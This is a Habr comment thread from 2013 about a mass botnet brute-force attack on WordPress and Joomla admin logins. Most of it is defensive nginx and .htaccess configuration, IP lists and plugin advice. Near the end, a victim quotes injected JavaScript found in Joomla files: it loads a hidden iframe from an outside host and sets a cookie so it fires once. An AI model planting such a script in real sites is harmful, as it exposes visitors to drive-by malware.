Turbo 4 авг 2013 в 11:11

Большая атака ботов на Wordpress-сайты

1 мин

37K

WordPress *

+28

Комментарии 48

byvincent 4 авг 2013 в 11:32

Детский сад. И ваше «Обширное обсуждение идет на форуме Searchengines» — детский сад.

Turbo 4 авг 2013 в 11:49

У меня пару серверов в даун ушло из-за этого. Несколько сайтов там на Вордпрессе брутили. Пришлось смотреть в чем проблема.

sam002 4 авг 2013 в 18:11

Хостер мой, конечно, позакрывал админку и login, но и без того было перенаправление, установленное плагином Better WP Security.
Удивляет, что кто-то им не пользуется, т.к. он во всех рекомендациях к wp упоминается. Особенно, доставляет автоматический бан за брутфорс и обращения к 404. И неплохо бы ставить ограничение на вход со своих IPшников.

Согласен, что это не проблема для большинства хабраюзеров, но wp часто используют не админы, а «продвинутые» пользователи, у которых настройка примитивной защиты займёт часы или дни.

allex 5 авг 2013 в 11:45

Я вот не знал, спасибо. Раньше проблем не было, сейчас и меня зацепило.

Slams 19 сен 2013 в 05:29

Поставил этот долбанный плагин, настроил все, проверил все — работает и сайт и защита, сразу начало брутофорсеров логировать.

Утром просыпаюсь, в метрику — а там провал. У меня душа в пятки. Сайт открывается. Думаю, может занесли в блек лист какой-то из сайтов на IP на котором вишу. Нет, все нормально. И тут я открыл статью и получил 404-ую. Эта зараза, взяла и сбросила настройки постоянных ссылок. Самое интересное, что все ведь проверял, но, скорее всего мне кеш отдавался.
После ребилда все заработало, но ночь трафика потеряна и еще не понятно, что с поисковыми позициями будет.
У меня один раз яша словил .htaccess в корне (по ошибке буквально на минуту туда отправленный) с полным запретом доступа, так выкинул все страницы из индекса и 4 месяца все восстанавливал. Так что тут, что хочешь можно ждать :)

Впредь, по 50 раз буду все проверять, особенно, когда такие плагины ставить буду.

byvincent 4 авг 2013 в 11:53

В мире столько всего брутят… данная «атака» не достойна хабра

НЛО прилетело и опубликовало эту надпись здесь

opium 4 авг 2013 в 12:06

Все время все долбятся на wordpress и на ssh и на фтп, по моему этому явлению уже годы.

Grasp 4 авг 2013 в 12:32

Не соглашусь. Атака на самом деле достаточно серьезная. У меня в блек лист пордяка 10 тыс ip ушло, причем на wp всего 5 сайтов. Пока на всех wp-login не прикрыл сервак вешался минут за 20-30. А учитывая массовость, я думаю что все же новость «достойная».

fenixru 4 авг 2013 в 12:39

Серваки ни разу не ложились из-за этой атаки.
Подбор активней чем обычно — да.
Решается дополнительной HTTP-авторизацией на wp-login.php

newdya 4 авг 2013 в 12:42

Spaceweb из-за этого прикрыл админку сайтов на Joomla и Wordpress.

FireWind 4 авг 2013 в 13:56

Подбор на пару порядков активней шел.
Решил доп.авторизацией, плюс добавил ограничение на ip.

Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
Написал вот так, чтобы заработало:

location = /wp-login.php {
allow xx.yy.0.0/16;
deny all;

# без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;

# запрашиваем доп пароль:
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}

Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
Хотелось бы, чтобы директивы

allow xx.yy.0.0/16;
deny all;

просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.

baltazorbest 4 авг 2013 в 18:48

на сколько я понимаю в настройке nginx, вы сделали отдельный локейшн для файла wp-login.php, следовательно nginx думает что это обычный файл, правильно будет

location =/wp-login.php {
  fastcgi_split_path_info ^(.+\.php)(/.+)$;
  include fastcgi_params;
  fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
  fastcgi_pass php;
  allow xx.yy.0.0/16;
  deny all;
  auth_basic «Hi! Admin»;
  auth_basic_user_file /etc/nginx/adminpasswd;
}

FireWind 5 авг 2013 в 02:22

Спасибо за совет.
Но, вроде, мой код чуть лучше — сначала идет проверка на доступность текущему пользователю и только если он попадает в заданный диапазон, происходит парсинг входной строки, подключение параметров и уже затем выполнение скрипта.
Может как то проще можно дать разрешение только нужному диапазону и потребовать доп.аутентификацию для файла wp-login.

Для апача такую реализацию получилось сделать гораздо проще и быстрее ( с .htaccess больше приходилось работать, чем с nginx)

scamp 4 авг 2013 в 14:20

Брутили админку IPB, очень упорно, поразительно упорно.

almirus 4 авг 2013 в 14:54

Защитил свои wordpress сайты так

## Block user agents
		location ~ ^/(wp-login\.php) {
                	set $block_user_agents 0;
			if ($http_user_agent ~ "Gecko/20100101 Firefox/1") {
				set $block_user_agents 1;
			}
			if ($block_user_agents = 1) {
				return 403;
			}
			proxy_pass http://159.253.23.246:8080;
			proxy_redirect http://ipod-touch-max.ru:8080/ /;
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Real-IP $remote_addr;

  		}		
		## Block user agents

almirus 4 авг 2013 в 15:08

Спам боты преимущество имеют user-agent «Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0».

Prosto 4 авг 2013 в 18:07

не только

108.170.22.211 — - [04/Aug/2013:00:09:29 +0200] «POST /administrator/index.php HTTP/1.0» 200 455 «-.ru/administrator/index.php» «Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10»

на одном опера, на другом мозилла

conturov 4 авг 2013 в 20:20

Вот так можно еще попробовать (если внимательно логи посмотреть).

if ($http_referer !~* ^($|https?://) ){
return 403;
}

НЛО прилетело и опубликовало эту надпись здесь

George_Pike 4 авг 2013 в 17:14

Да, брутили из 5 только 1, но с IP-адресами полный треш.
Сотни их, тысячи!

НЛО прилетело и опубликовало эту надпись здесь

Grasp 4 авг 2013 в 17:17

Будете рассылать, этим можете послать. Это те которые в wp-admin ломятся :)
pastebin.com/D4UmWphR

efimich 4 авг 2013 в 17:41

Ну и я тогда свои 5 копеек добавлю.

<IfModule mod_rewrite.c>

# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

# anti wp password bruteforce attack
RewriteCond %{REQUEST_URI} wp-login.php|wp-admin
RewriteCond %{HTTP_USER_AGENT} !^Opera/[0-9.]+
RewriteRule . - [R=404,L]
# end anti wp password bruteforce

</IfModule>

php_value upload_max_filesize 4M

В админку попадут только юзеры использующие оперу, а для остальных — 404.
Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.

efimich 4 авг 2013 в 21:20

Кстати, еще можно задать в браузере свой юзер-агент, на пример через этот плагин: addons.opera.com/en/extensions/details/user-agent-changer/
И авторизовывать (пускать к wp-login.php) только с ним. Хотя это и не очень удобно.

unwrecker 4 авг 2013 в 18:32

Ага брутят. Когда 100500 сайтов на WP это весьма заметно.

Equin0x 4 авг 2013 в 19:00

В наше тяжелое время без двойной авторизации уже никуда. Самое примитивное — сначала http авторизация (.htaccess) чтобы добраться до login.php. Или посложнее — чтобы логин не проигнорировал запрос, перед этим этот же ИП должен просто зайти на определенный секретный УРЛ с «пустой» страницей. Или еще сложнее — патч к ядру, который ловит нестандартный пинг и открывает порт ;)

Ruslan_S_Tula 4 авг 2013 в 19:00

Reg.ru тоже прикрыли админку

Wernisag 5 авг 2013 в 01:28

Да все подряд админ-панели прикрывают, а у меня ещё и ФТП закрыли…

sshz 5 авг 2013 в 03:33

Для тех кто считает, что это недостойно хабра — ботнет больше 100 тыс. машин и растет, не припомню атаки таких размеров на wordpress.

Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.

Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.

Письмо от хостера beget,ru, немного больше подробностей:

В течении последних двух дней идет активный перебор паролей на популярных CMS.
Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
сайтов у данных пользователей.

После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
подвержены проблемам не только наши сервера, перебор паролей осуществляется
глобально.

Nikitian 5 авг 2013 в 06:13

Чтобы не травмировать пользователей, надо смотреть что за ip блочится. Загнал диапазоны ip популярных хостеров России и мира — нагрузка ощутимо снизилась.

efimich 5 авг 2013 в 07:48

Главное гугло-бота случайно не заблочить. :)

azovsky 5 авг 2013 в 09:52

Еще, например, популярный linode.com также под атакой: status

Alvego 5 авг 2013 в 11:28

Попробуйте плагин Protected wp-login для защиты wp от брутфорс атак.

Из особенностей:
* снижение нагрузки от брутфорса.
* дополнительная защита от взлома.
* простота настройки и установки
* минимальная нагрузка на сайт от плагина. (очень легкий)
* есть русская локализация

Домашняя страничка плагина: themext.com/
Ссылка в каталоге wordpress.org/plugins/protected-wp-login/

allex 5 авг 2013 в 11:43

Спасибо, очень своевременно. Доля запросов к wp-login.php 28.11% Не самый слабый виртуальный сервер ложился уже раза три.

allex 5 авг 2013 в 13:25

ну и вдогонку — top10:

     67 115.146.188.42
     67 176.31.89.249
     70 188.143.233.174
     81 195.175.30.134
     88 184.82.179.165
    160 115.254.15.78
    290 178.78.21.16
    899 184.82.179.115
   1240 217.113.120.70
  24764 187.210.11.100

sebres 5 авг 2013 в 13:46

Попробовать fail2ban, есть и как плагин здесь.
Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.

mgarin 5 авг 2013 в 17:07

Пару дней назад как раз отказалась показываться страница wp-admin.php, долго и безрезультатно бился.
Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
А оказывается вот оно что…

almirus 5 авг 2013 в 18:13

более универсальный вариант, на уровне nginx — идея запретить доступ к wp-login.php всем кто не из России

http {
......
geoip_country /usr/share/GeoIP/GeoIP.dat;
    map $geoip_country_code $allowed_country {
        default no;
        RU yes;
        UA yes;
    }
    server{
               location ~ ^/(wp-login\.php) {
			if ($allowed_country = no) {
				return 444;
			}
               }
    }
}

Zoro 6 авг 2013 в 03:50

Вообще-то не с 2-го, а гораздо раньше. Мой бложик с месяц уже активно брутфорсят. Какое было мое удивление, когда я обнаружил error_log размером 14 гигов. В итоге дабы error_log опять не расползался пришлось прикрутить через .htaccess дополнительную авторизацию на wp-login.php Не уверен, что это правильно, но работает.

baltazorbest 6 авг 2013 в 07:34

Вполне себе правильно решение, как по мне.

efimich 6 авг 2013 в 10:05

Не поделитесь готовым примером?

StamPit 6 авг 2013 в 10:07

Выше уже есть для nginx: habrahabr.ru/post/188932/#comment_6563652
А вообще, можно обойтись для этого location простым ограничением по IP, если это допустимо.

Zoro 6 авг 2013 в 10:27

пример vanoc.ru/wp-admin/

реализуется так
на инглише
support.hostgator.com/articles/specialized-help/technical/wordpress/wordpress-login-brute-force-attack
на русском
neolot.com/wordpress/wordpress-zashhita-ot-brute-force

lehha 6 авг 2013 в 11:11

Basic авторизация, пускай даже test-test — хорошо помогает, особенно если вставить в httpd.conf

LA c 30 до 0.5 упал.

Prosto 6 авг 2013 в 19:08

Есть жертвы!

Яндекс шлет письма о вредоносном коде.

Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец

var ifYnXm3 = document.createElement('iframe');
ifYnXm3.name = 'ifYnXm3';
ifYnXm3.src = 'хттп://asnem .listen-it .com/';
ifYnXm3.style.width = '0px';
ifYnXm3.style.height = '0px';
window.onload = function() {
if (document.cookie.indexOf('ifYnXm3=') == -1) { 
document.getElementsByTagName('body')[0].appendChild(ifYnXm3); 
document.cookie = 'ifYnXm3=yes; 
path=/; 
expires=Wednesday, 18-May-33 03:33:20 GMT';}
};

дата изменения файлов не изменена!

Такой же код как минимум в одном файле jquery.min

Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?

Turbo 6 авг 2013 в 19:44

Уверены что это только сейчас случилось? Тем более что если все сайты разом, то больше похоже что через FTP меняли.

Prosto 7 авг 2013 в 06:29

Яндекс только вчера прислал письма о заражении двух сайтов. Про остальные пока молчит. Они почти мертвые, оставлю как есть, посмотрю как быстро яндекс их заметит.

Зарегистрируйтесь на Хабре, чтобы оставить комментарий